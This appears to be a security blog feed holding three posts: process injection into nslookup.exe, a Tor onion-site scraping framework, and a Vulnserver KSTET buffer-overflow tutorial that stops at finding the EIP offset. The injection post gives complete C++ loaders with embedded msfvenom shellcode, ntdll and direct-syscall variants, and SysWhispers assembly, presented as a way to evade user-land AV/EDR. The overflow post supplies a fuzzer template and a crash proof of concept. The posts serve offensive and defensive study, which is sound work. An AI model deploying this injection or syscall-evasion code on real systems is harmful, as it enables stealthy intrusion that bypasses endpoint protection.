        "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
        "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
        "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74"
        "\x65\x70\x61\x64\x2e\x65\x78\x65\x00";

    // Create a 64-bit process: 
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    LPVOID allocation_start;
    SIZE_T allocation_size = sizeof(shellcode);
    LPCWSTR cmd;
    HANDLE hProcess, hThread;
    
    ZeroMemory(&si, sizeof(si));
    ZeroMemory(&pi, sizeof(pi));
    si.cb = sizeof(si);
    cmd = TEXT("C:\\Windows\\System32\\nslookup.exe");

    if (!CreateProcess(
        cmd,							// Executable
        NULL,							// Command line
        NULL,							// Process handle not inheritable
        NULL,							// Thread handle not inheritable
        FALSE,							// Set handle inheritance to FALSE
        CREATE_NO_WINDOW,	            // Do Not Open a Window
        NULL,							// Use parent's environment block
        NULL,							// Use parent's starting directory 
        &si,			                // Pointer to STARTUPINFO structure
        &pi								// Pointer to PROCESS_INFORMATION structure (removed extra parentheses)
    )) {
        DWORD errval = GetLastError();
        std::cout << "FAILED" << errval << std::endl;
    }
    WaitForSingleObject(pi.hProcess, 1000); // Allow nslookup 1 second to start/initialize. 

    // Inject into the 64-bit process:
    // HIGH-LEVEL WINDOWS API:
    allocation_start = VirtualAllocEx(pi.hProcess, NULL, allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess, allocation_start, shellcode, allocation_size, NULL);
    CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)allocation_start, NULL, 0, 0);
}

API Call Analysis

To analyze API calls, I am using API Monitor with the following filters: [Data Access and Storage, NT Native, System Services, Undocumented].

ItemCount
Number of API Calls298
Total Amount of Memory User192 KB
API Monitor Analysis of High-Level API calls

Basic analysis of the API calls makes it very objective that the program is accessing and manipulating memory of an external process. When we narrow in and only look at,CRT_High_Level_API.exe and KERNELBASE.DLL we see each and every function call. The great part or API Monitor is that we can also analyze the decoded function parameters and the memory page at the time of the instruction/CALL.

API Monitor Analysis of High-Level API calls

As a mental note, look at the image above and look at each CRT_High_Level_API.exe function call (High Level API) and look at the lower level API functions the OS Calls. There is a distinct difference here and it’s one worth noting as we will call those functions’ direction when we look at the Low-Level API calls.


Sysmon Analysis

Sysmon detected five (5) distinct events related to CRT_High_Level_API.exe:

  1. Process Create – CRT_High_Level_API.exe
  2. Process Create – nslookup.exe
  3. CreateRemoteThread – Process Injection into nslookup.exe
  4. Process Terminated – CRT_High_Level_API.exe exit
  5. Process Create – nslookup.exe executes shellcode which opensnotepad.exe
Sysmon Analysis of High-Level API calls

For all testing, these events are going to be symmetrical considering how the Sysmon driver hooks syscalls. This is a great tool for Blue Team because, no matter how low we go, Sysmon “Should” be able to catch our CreateRemoteThread() process injection. But with a claim like that, let’s look at why Sysmon is so damn powerful.

Sysmon’s Power

Procmon Analysis of High-Level API execution in User-Land and Kernel-Land

The image above depicts the User-Land vs. Kernel-Land. In the example above, we executed the ntdll.dll!NtQueryVirtualMemory function and that set a chain of events that eventually ended up in Kernel-Land issuing a syscall. Many AV / EDR solutions run in User-Land and do not (can’t) touch Kernel-Land. That’s why later in this post, we are going to circumvent running to Kernel-Land to execute a syscall and just do it ourselves. But, Sysmon is different in that a driver is loaded (SysmonDrv.sys) that will still hook and enumerate the syscall regardless of where the instruction is executed.

Sysmon Driver hooking

Medium Level API – Ntdll.dll

We have set up a program that moves away from using the High-Level API and directly calls the undocumented functions that are resident within ntdll.dll. You’ll notice that we now have a series of new structs and custom types that are necessary in order to load the required functions and execute them properly.

The goal of this code is to mitigate the High-Level function calls that the OS then translates to several Lower-Level API calls by simply calling the lower-level API ourselves.

#include <iostream>
#include <Windows.h>

typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _PS_ATTRIBUTE
{
    ULONG  Attribute;
    SIZE_T Size;
    union
    {
        ULONG Value;
        PVOID ValuePtr;
    } u1;
    PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;

typedef struct _PS_ATTRIBUTE_LIST
{
    SIZE_T       TotalLength;
    PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;

typedef struct _OBJECT_ATTRIBUTES
{
    ULONG           Length;
    HANDLE          RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG           Attributes;
    PVOID           SecurityDescriptor;
    PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;


typedef NTSTATUS(WINAPI* NAVM)(HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG);
typedef NTSTATUS(NTAPI* NWVM)(HANDLE, PVOID, PVOID, ULONG, PULONG);
typedef NTSTATUS(NTAPI* NCT)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T, SIZE_T, PPS_ATTRIBUTE_LIST);


int main()
{
    // msfvenom -p windows/x64/exec CMD=notepad.exe -f c
    unsigned char shellcode[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
        "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
        "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
        "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
        "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
        "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
        "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
        "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
        "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
        "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
        "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
        "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
        "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
        "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
        "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
        "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
        "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
        "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74"
        "\x65\x70\x61\x64\x2e\x65\x78\x65\x00";


    // Create a 64-bit process: 
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    LPVOID allocation_start;
    SIZE_T allocation_size = sizeof(shellcode);
    LPCWSTR cmd;
    HANDLE hProcess, hThread;
    NTSTATUS status;
    
    ZeroMemory(&si, sizeof(si));
    ZeroMemory(&pi, sizeof(pi));
    si.cb = sizeof(si);
    cmd = TEXT("C:\\Windows\\System32\\nslookup.exe");

    if (!CreateProcess(
        cmd,							// Executable
        NULL,							// Command line
        NULL,							// Process handle not inheritable
        NULL,							// Thread handle not inheritable
        FALSE,							// Set handle inheritance to FALSE
        CREATE_NO_WINDOW,	            // Do Not Open a Window
        NULL,							// Use parent's environment block
        NULL,							// Use parent's starting directory 
        &si,			                // Pointer to STARTUPINFO structure
        &pi								// Pointer to PROCESS_INFORMATION structure (removed extra parentheses)
    )) {
        DWORD errval = GetLastError();
        std::cout << "FAILED" << errval << std::endl;
    }
    WaitForSingleObject(pi.hProcess, 1000); // Allow nslookup 1 second to start/initialize. 


    // Inject into the 64-bit process:
    // LoadLibary MEDIUM-LEVEL UNDOCUMENTED API:
    HINSTANCE hNtdll = LoadLibrary(L"ntdll.dll");
    NAVM NtAllocateVirtualMemory = (NAVM)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
    NWVM NtWriteVirtualMemory = (NWVM)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    NCT NtCreateThreadEx = (NCT)GetProcAddress(hNtdll, "NtCreateThreadEx");
    allocation_start = nullptr;

    status = NtAllocateVirtualMemory(pi.hProcess, &allocation_start, 0, (PULONG)&allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    status = NtWriteVirtualMemory(pi.hProcess, allocation_start, shellcode, sizeof(shellcode), 0);
    status = NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, pi.hProcess, allocation_start, allocation_start, FALSE, NULL, NULL, NULL, NULL);
}

API Call Analysis

To analyze API calls, I am using API Monitor with the following filters: [Data Access and Storage, NT Native, System Services].

ItemCount
Number of API Calls309
Total Amount of Memory User196 KB

There was an uptick in overall API Calls and size of memory used (not a big deal). But, we successfully bypassed using the High-Level API to execute shellcode. When we look at the actual API Calls (in the image below), we can see a distinct difference. All the API calls were called via the executable rather than being passed to KERNELBASE.dll. This is because we loaded ntdll.dll and then dynamically loaded the functions we needed in order to inject into nslookup.exe.

API Monitor Analysis of Medium-Level API calls

Sysmon Analysis

Sysmon caught all the same events as the High-Level API calls. This is to be expected since the driver has the capability to hook events subject to the configuration.

Sysmon Analysis of Medium-Level API calls

To get a better idea as to where Sysmon was hooking our syscalls, we can review the process stack right before shellcode execution in nslookup.exe to see if the SysmonDrv.sys driver was loaded. And that’s exactly what we see. Procmon is a bit limited as to the overall functions we can see within the stack trace (regardless of proper symbol loading) but we can easily discern our own event timeline subject to the Process Create, Process Start, and Thread Create operations.

Prcmon.exe Analysis of Medium-Level API calls

Reviewing the image above shows that right when nslookup.exe was executing the shellcode in a new thread, Sysmon observes an event that the Sysmon Configuration file says we are interested in so, it hooks it and analyzes it.


Low Level API – Direct Syscalls

This is where the fun really starts. To this point, we’ve used the Windows High-Level MSDN Documented methods of accessing process memory, changing process memory, and creating a remote thread within an external process. Next, we went one step lower and manually mapped the Nt* functions residing within ntdll.dll to our program and called them directly. Now, we’re going to completely remove any Windows DLL imports and manually conduct the syscalls with our own custom assembly rather than having ntdll.dll or kernelbase.dll do it for us.

I’ve used a tool called SysWhispers to generate both the header file (common.h) and the x86 assembly file (common.asm). I followed the repositories instructions on how to load both files into the Visual Studio C++ project and then compiled common.asm and included the common.h header.

#include <iostream>
#include <Windows.h>
#include "common.h"


int main()
{
    // msfvenom -p windows/x64/exec CMD=notepad.exe -f c
    unsigned char shellcode[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
        "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
        "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
        "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
        "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
        "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
        "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
        "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
        "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
        "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
        "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
        "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
        "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
        "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
        "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
        "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
        "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
        "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74"
        "\x65\x70\x61\x64\x2e\x65\x78\x65\x00";


    // Create a 64-bit process: 
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    LPVOID allocation_start;
    SIZE_T allocation_size = sizeof(shellcode);
    LPCWSTR cmd;
    HANDLE hProcess, hThread;
    NTSTATUS status;
    
    ZeroMemory(&si, sizeof(si));
    ZeroMemory(&pi, sizeof(pi));
    si.cb = sizeof(si);
    cmd = TEXT("C:\\Windows\\System32\\nslookup.exe");

    if (!CreateProcess(
        cmd,							// Executable
        NULL,							// Command line
        NULL,							// Process handle not inheritable
        NULL,							// Thread handle not inheritable
        FALSE,							// Set handle inheritance to FALSE
        CREATE_NO_WINDOW,	            // Do Not Open a Window
        NULL,							// Use parent's environment block
        NULL,							// Use parent's starting directory 
        &si,			                // Pointer to STARTUPINFO structure
        &pi								// Pointer to PROCESS_INFORMATION structure (removed extra parentheses)
    )) {
        DWORD errval = GetLastError();
        std::cout << "FAILED" << errval << std::endl;
    }
    WaitForSingleObject(pi.hProcess, 1000); // Allow nslookup 1 second to start/initialize. 


    // Inject into the 64-bit process:
    // SYSWHISPER LOW-LEVEL UNDOCUMENTED API:
    allocation_start = nullptr;
    NtAllocateVirtualMemory(pi.hProcess, &allocation_start, 0, (PULONG)&allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    NtWriteVirtualMemory(pi.hProcess, allocation_start, shellcode, sizeof(shellcode), 0);
    NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, pi.hProcess, allocation_start, allocation_start, FALSE, NULL, NULL, NULL, NULL);
}

Let’s go through exactly how this works. First, common.asm contains the proper Windows Syscall integer values for many of the undocumented Windows functions. Common.asm not only maps the function name to the proper syscall integer but, it also takes OS Version into account in order to mitigate syscall issues subject to value changes over time. Let’s take a look at the NtAllocateVirtualMemory() syscall assembly that SysWhispers generated for us.

NtAllocateVirtualMemory PROC
	mov rax, gs:[60h]                                 ; Load PEB into RAX.
NtAllocateVirtualMemory_Check_X_X_XXXX:               ; Check major version.
	cmp dword ptr [rax+118h], 6
	je  NtAllocateVirtualMemory_Check_6_X_XXXX
	cmp dword ptr [rax+118h], 10
	je  NtAllocateVirtualMemory_Check_10_0_XXXX
	jmp NtAllocateVirtualMemory_SystemCall_Unknown
NtAllocateVirtualMemory_Check_6_X_XXXX:               ; Check minor version for Windows Vista/7/8.
	cmp dword ptr [rax+11ch], 1
	je  NtAllocateVirtualMemory_Check_6_1_XXXX
	cmp dword ptr [rax+11ch], 2
	je  NtAllocateVirtualMemory_SystemCall_6_2_XXXX
	cmp dword ptr [rax+11ch], 2
	je  NtAllocateVirtualMemory_SystemCall_6_3_XXXX
	jmp NtAllocateVirtualMemory_SystemCall_Unknown
NtAllocateVirtualMemory_Check_6_1_XXXX:               ; Check build number for Windows 7.
	cmp dword ptr [rax+120h], 7600
	je  NtAllocateVirtualMemory_SystemCall_6_1_7600
	cmp dword ptr [rax+120h], 7601
	je  NtAllocateVirtualMemory_SystemCall_6_1_7601
	jmp NtAllocateVirtualMemory_SystemCall_Unknown
NtAllocateVirtualMemory_Check_10_0_XXXX:              ; Check build number for Windows 10.
	cmp dword ptr [rax+120h], 10240
	je  NtAllocateVirtualMemory_SystemCall_10_0_10240
	cmp dword ptr [rax+120h], 10586
	je  NtAllocateVirtualMemory_SystemCall_10_0_10586
	cmp dword ptr [rax+120h], 14393
	je  NtAllocateVirtualMemory_SystemCall_10_0_14393
	cmp dword ptr [rax+120h], 15063
	je  NtAllocateVirtualMemory_SystemCall_10_0_15063
	cmp dword ptr [rax+120h], 16299
	je  NtAllocateVirtualMemory_SystemCall_10_0_16299
	cmp dword ptr [rax+120h], 17134
	je  NtAllocateVirtualMemory_SystemCall_10_0_17134
	cmp dword ptr [rax+120h], 17763
	je  NtAllocateVirtualMemory_SystemCall_10_0_17763
	cmp dword ptr [rax+120h], 18362
	je  NtAllocateVirtualMemory_SystemCall_10_0_18362
	cmp dword ptr [rax+120h], 18363
	je  NtAllocateVirtualMemory_SystemCall_10_0_18363
	jmp NtAllocateVirtualMemory_SystemCall_Unknown
NtAllocateVirtualMemory_SystemCall_6_1_7600:          ; Windows 7 SP0
	mov eax, 0015h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_6_1_7601:          ; Windows 7 SP1 and Server 2008 R2 SP0
	mov eax, 0015h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_6_2_XXXX:          ; Windows 8 and Server 2012
	mov eax, 0016h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_6_3_XXXX:          ; Windows 8.1 and Server 2012 R2
	mov eax, 0017h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_10240:        ; Windows 10.0.10240 (1507)
	mov eax, 0018h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_10586:        ; Windows 10.0.10586 (1511)
	mov eax, 0018h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_14393:        ; Windows 10.0.14393 (1607)
	mov eax, 0018h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_15063:        ; Windows 10.0.15063 (1703)
	mov eax, 0018h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_16299:        ; Windows 10.0.16299 (1709)
	mov eax, 0018h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_17134:        ; Windows 10.0.17134 (1803)
	mov eax, 0018h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_17763:        ; Windows 10.0.17763 (1809)
	mov eax, 0018h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_18362:        ; Windows 10.0.18362 (1903)
	mov eax, 0018h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_18363:        ; Windows 10.0.18363 (1909)
	mov eax, 0018h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_Unknown:           ; Unknown/unsupported version.
	ret
NtAllocateVirtualMemory_Epilogue:
	mov r10, rcx
	syscall
	ret
NtAllocateVirtualMemory ENDP

Subject to the OS Versioning, the NtAllocateVirualMemory instructions will set the correct integer value and load that value into the EAX Register. Next, it will jmp to NtAllocateVirtuallMemory_Epilouge which makes the syscall. The Windows Version that I am developing on is Windows 10.0.17763 (1809) which means the proper syscall value for NtAllocateVirtualMemory is 0x18 or decimal 24. And just to double check, we can look at a table that details all the functions and syscall values subject to OS Version here.

Let’s look at this in a debugger. I set a break point on NtAllocateVirtualMemory within the C++ source. Once I hit that break point I will step through the common.asm instructions until the EAX Register is updated which means an OS Version match was found and the Syscall Integer value was loaded into EAX (lower 32-bits of RAX).

NOTE: If you’re not sure how x86 and x86_64 bit registers correlate to each other here is a fantastic graphic that details all the registers:

How x86 registers fit into x86_64 registers

As expected, we’ve matched one of the OS Version values and the EAX register is set to 0x18. Next, we jump to the epilogue to execute the NtAllocateVirtualMemory syscall. Keep in mind, we did not load any external functions to help us execute this syscall. We directly issued this syscall.

Direct Syscall observed in the Visual Studio Debugger

API Call Analysis

To analyze API calls, I am using API Monitor with the following filters: [Data Access and Storage, NT Native, System Services].

ItemCount
Number of API Calls288
Total Amount of Memory User186 KB
API Monitor Analysis of Low-Level Direct Syscalls

We don’t see ANY of the standard API calls we saw with the High-Level and Medium-Level API calls. That’s because we did not load any external resources to conduct the syscall. But, the Syscall still happened, and we can confirm that by reviewing the Sysmon event logs. Remember, Sysmon hooking is running in Kernel-Land (SYSTEM) and as such, we can’t really hide ourselves from it unless we disable it (Need to be admin).


Sysmon Analysis

Once again, Sysmon was able to hook and log the five (5) events.

Sysmon Analysis of Low-Level Direct Syscalls

Conclusion

Red Team

The lower we can go, the better. We can evade AV / EDR systems that hook in User-Land and do all kinds of fancy things by rolling our own syscalls. Mixing this technique with a plethora of others such as Arbitrary Code Guard, off-binary payload ingestion, etc. can allow us to operate with less noise as well as arm Blue Team with new detection capabilities.

Blue Team

Use Sysmon! As we saw, the Sysmon driver was able to hook all of our remote thread activity. This is a Free tool with several features that should be rolled into your detection processes. For more information:

Process Injection Part 1 | CreateRemoteThread()
Joshua

Hunting Onions – A Framework for Simple Darknet Analysis

By: Joshua
8 February 2020 at 18:12

Sevro Security
Hunting Onions – A Framework for Simple Darknet Analysis

One of the things I spend a-lot of time doing is researching the current threat landscape. I dedicate a-lot of time to pulling samples from Virus Total, reversing, analyzing, and searching for known/unknown IOC’s everywhere I can in order to properly mimic a threat actor. One of the places I search happens to be via Tor (AKA: the darknet). My method on how I connect to TOR varies and this post is not dedicated on how to stay safe and avoid data leakage. Rather, it’s to demonstrate a novel approach to obtaining .Onion address and analyzing them in a safe and efficient manner.

TL;DR: A full listing of classes and functions are detailed within the Github Wiki.


How Onion Hunter Works

NOTE: Onion Hunter does not download images, malware, full site source code, etc.. This is to protect the user and the system that is running the analysis. There’s a ton of bad things that can easily get you into trouble and for that reason alone, only the HTML of the page in question is analyzed and nothing more.


Onion-Hunter is a Python3 based framework that analyzes Onion site source code for user defined keywords and stores relevant data to a SQLite3 backend. Currently, the framework utilizes several sources to aggregate Onion addresses:

  • Reddit subreddits: A predefined set of subreddits are populated within the config.py. that are scraped for any Onion addresses.
  • Tor Deep Paste: This has turned out to be a very good source.
  • Fresh Onions Sources: Each onion address is analyzed to determine if it’s a fresh onion source (i.e., contains new/mapped onions) and if so, is saved to the FRESH_ONION_SOURCES table.
  • Additional_onions.txt: Any tertiary onion address, that is any address found that is not immediately analyzed, is saved to docs/additional_onions.txt for later analysis.

A researcher can also analyze individual or a text file filled with Onion address if they happen to come upon something interesting that warrants analysis and categorization.

Once valid .Onion addresses have been found, they’re analyzed by issuing a GET request to the .Onion address and searching the index source (HTML) for keywords that are per-defined by the researcher.

Onion Hunting Process

The Database

A SQLite3 backend is used to maintain records of all analyzed Onion addresses as well as a record of all Onions that have been categorized a probable Fresh Onion Domains. There are a total of three (3) tables that are used:

  1. ONIONS – Contains all Onion addresses observed and is by far, the most interesting table for analysis.
  2. FRESH_ONION_SOURCES – Any onion address that 50+ unique addresses listed on the front page and also include fresh onion keywords is categorized as a probable Fresh Onion Domain and saved to this table.
  3. KNOWN_ONIONS – This table is currently unused. It was designed for reporting purposes. That is, if for any reason you want to conduct analysis on weekly/monthly trends (for example) attributes of previously analyzed Onions can be added to this table and therefore avoid duplication is reporting.
CREATE TABLE ONIONS
(ID INTEGER PRIMARY KEY AUTOINCREMENT,
DATE_FOUND TEXT NOT NULL,
DOMAIN_SOURCE TEXT NOT NULL,
URI TEXT NOT NULL,
URI_TITLE TEXT,
DOMAIN_HASH TEXT NOT NULL,
KEYWORD_MATCHES TEXT,
KEYWORD_MATCHES_SUM INT,
INDEX_SOURCE TEXT NOT NULL);

CREATE TABLE FRESH_ONION_SOURCES
(ID INTEGER PRIMARY KEY AUTOINCREMENT,
URI TEXT NOT NULL,
DOMAIN_HASH TEXT NOT NULL,
FOREIGN KEY (DOMAIN_HASH) REFERENCES ONIONS (DOMAIN_HASH));

CREATE TABLE KNOWN_ONIONS
(ID INTEGER PRIMARY KEY AUTOINCREMENT,
DOMAIN_HASH TEXT NOT NULL,
DATE_REPORTED TEXT,
REPORTED INT NOT NULL,
FOREIGN KEY (DOMAIN_HASH) REFERENCES ONIONS (DOMAIN_HASH));

An example of what the data looks like within the ONIONS table can be seen in the image below. For simply viewing the data, I like to used DB Browser for SQLite. However, all heavy operations should be done in code as this application can be very clunky.

Viewing the Onions table within DM browser

User Configuration

As stated above, the only method of domain/site analysis is by a simple keyword search. A user must supply the following within the src/config.py:

class configuration:

    def __init__(self):
        # Reddit API Variables
        self.r_username = ""
        self.r_password = ""
        self.r_client_id = ""
        self.r_client_secret = ""
        self.r_user_agent = ""

        # Reddit SubReddits to Search:
        self.sub_reddits = ["onions", "deepweb", "darknet", "tor", "conspiracy", "privacy", "vpn", "deepwebintel",
                            "emailprivacy", "drugs", "blackhat", "HowToHack", "netsec", "hacking",
                            "blackhatunderground", "blackhats", "blackhatting", "blackhatexploits",
                            "reverseengineering"]

        # Keywords to Search each Onions Address for.
        ## Searches the .onion source code retrieved via an HTTP GET request.
        self.keywords = ["Hacker", "Flawwedammy"]

Improvements

There are a lot of improvements that can be made to the current version and I intend on making some of these changes in 2020. For example, I would like to utilize duckduckgo API as well as Reddit to start the initial searching. There also may be reliable sources that keep tabs on Fresh Onion databases that are active on Tor. These information sources would be more reliable going forward.

Other improvements such as database optimization, site categorization, and user-defined analysis techniques are slotted as well.


Hunting Onions – A Framework for Simple Darknet Analysis
Joshua

Vulnserver KSTET Socket Re-use

By: Joshua
20 November 2019 at 23:21

Sevro Security
Vulnserver KSTET Socket Re-use

In a previous post, Vulnserver KSTET Egg Hunter, we looked at how we can use an egghunter to obtain code execution within a larger chunk of memory. In this post, we will look at the KSTET Socket re-use WS2_32.dll recv() function and how we can re-use this to pull in a larger chunk of shellcode within a buffer we allocate ourselves. In regards to Vulnserver.exe, the recv() function is used anytime we send data to the socket. The data is then parsed by the server and decides what to do with it.

Prerequisites:

  • Vulnserver.exe
  • Immunity or Ollydbg – I will be using Immunity
  • Mona.py
  • Windows VM – I am using a Windows XP Professional host

Resources:


I’m going to skip some of the set-up assuming you understand how to attach a debugger to a process or start a process within a debugger. If you don’t, go ahead and read some of my other buffer overflow tutorials.

The Crash

Part of why I decided to build this tutorial us because I am currently studying for the OSCE. As such, we are going to use the Spike Fuzzer (Native in Kali) to fuzz the VulnServer.exe application and just like the egg hunter tutorial, we will be fuzzing the KSTET parameter. Here is our Spike Fuzzing template (kstet.spk):

s_readline();
s_string("KSTET ");
s_string_variable("0");
s_string("\r\n");
s_readline();

The VulnServer listens on port 9999 and is residing at an IP Address: 192.168.5.130. So, our Spike Fuzzer syntax will be:

generic_send_tcp 192.168.5.130 9999 kstet.spk 0 0

During any fuzzing, it’s a good idea to keep a WireShark instance running in the background so you can manually analyze the packets if a crash occurs.

Fuzzing with the Spike Fuzzer

After less than 2 seconds, we have a visible crash that looks to have overwritten EIP and EBP.

Overflow success

Looking at Wireshark we see that the last valid connection contained the following data:

Wireshark analysis of spike fuzzer

Buffer Overflow Standard Steps

This is the repetitive part of any Buffer Overflow:

  1. Determine the offset in which we overwrote EIP.
  2. Find a JMP ESP Instruction we can use.
  3. Overwrite EIP with the JMP ESP address and control the execution flow.

Determine Offset:

We create a standard pattern using the Metasploit Frameworks pattern_create.rb. This generates a unique string n bytes long that is used to determine the actual offset of the overwrite. The syntax for the ruby script is:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 500
Create pattern to determine EIP offset

Build a Python proof of concept to crash the application similar to the Spike Fuzzer:

import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

pattern = ("""Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq""")

buf = ""
buf += "KSTET /.:/"
buf += pattern
buf += "\r\n"

s.send(buf)

We send the payload, overwrite EIP with the pattern, and now determine the proper offset

Observed pattern overflowing EIP
Determine EIP offset in base 10

